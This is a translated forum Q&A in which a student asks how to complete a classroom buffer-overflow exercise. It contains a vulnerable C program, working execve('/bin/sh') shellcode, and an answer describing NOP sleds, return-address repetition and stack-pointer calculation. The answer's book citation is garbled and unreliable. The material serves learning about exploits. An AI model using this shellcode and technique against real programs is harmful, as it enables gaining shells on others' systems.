Программа для умышленного переполнения буфера - PullRequest
5 голосов
/ 05 октября 2010

Я пытаюсь выяснить эту проблему для одного из моих классов по компьютерным наукам, я использовал каждый ресурс и у меня все еще есть проблемы, если кто-то может дать какое-то понимание, я был бы очень признателен.

У меня есть эта «цель», мне нужно выполнить execve («/ bin / sh») с эксплойтом переполнения буфера. При переполнении buf [128] при выполнении небезопасной команды strcpy указатель обратно в буфер появляется в том месте, где система ожидает найти адрес возврата.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Я понимаю, что мне нужно заполнить argv [1] более чем 128 байтами, байты более 128 являются адресом возврата, который должен быть указан обратно в буфер, чтобы он выполнял / bin / sh внутри. Это правильно до сих пор? Может ли кто-нибудь предоставить следующий шаг?

Большое спасибо за любую помощь.

1 Ответ

5 голосов
/ 05 октября 2010

Итак, вы хотите, чтобы программа выполнила ваш шеллкод. Он уже в машинной форме, поэтому готов к выполнению системой. Вы сохранили его в буфере. Итак, вопрос будет: «Как система узнает, как выполнить мой код?» Точнее, «Как система узнает, где искать следующий код для выполнения?» Ответ в этом случае - обратный адрес, о котором вы говорите.

По сути, вы на правильном пути. Вы пытались выполнить код? Одна вещь, которую я заметил при выполнении этого типа эксплойта, это то, что это не точная наука. Иногда в памяти есть другие вещи, которых вы не ожидаете, поэтому вам нужно увеличить количество байтов, которые вы добавляете в свой буфер, чтобы правильно выровнять адрес возврата в соответствии с тем, чего ожидает система.

Я не специалист по безопасности, но могу рассказать вам несколько вещей, которые могут помочь. Во-первых, я обычно включаю «NOP Sled» - по сути, просто серию байтов 0x90, которые не выполняют ничего, кроме выполнения инструкций «NOP» на процессоре. Другой трюк заключается в том, чтобы повторить адрес возврата в конце буфера, так что если хотя бы один из них перезапишет адрес возврата в стеке, вы получите успешный возврат туда, куда вы хотите.

Итак, ваш буфер будет выглядеть так:

| NOP SLED | SHELLCODE | ПОВТОРНЫЙ ВОЗВРАТ АДРЕС |

(Примечание: это не мои идеи, я получил их от Jack Erickson от Hacking: The Art of Exploration. Я рекомендую эту книгу, если вам интересно узнать больше об этом).

Для вычисления адреса вы можете использовать что-то похожее на следующее:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Теперь ret будет содержать адрес возврата, на который вы хотите вернуться, при условии, что вы выделите буфер для кучи.

...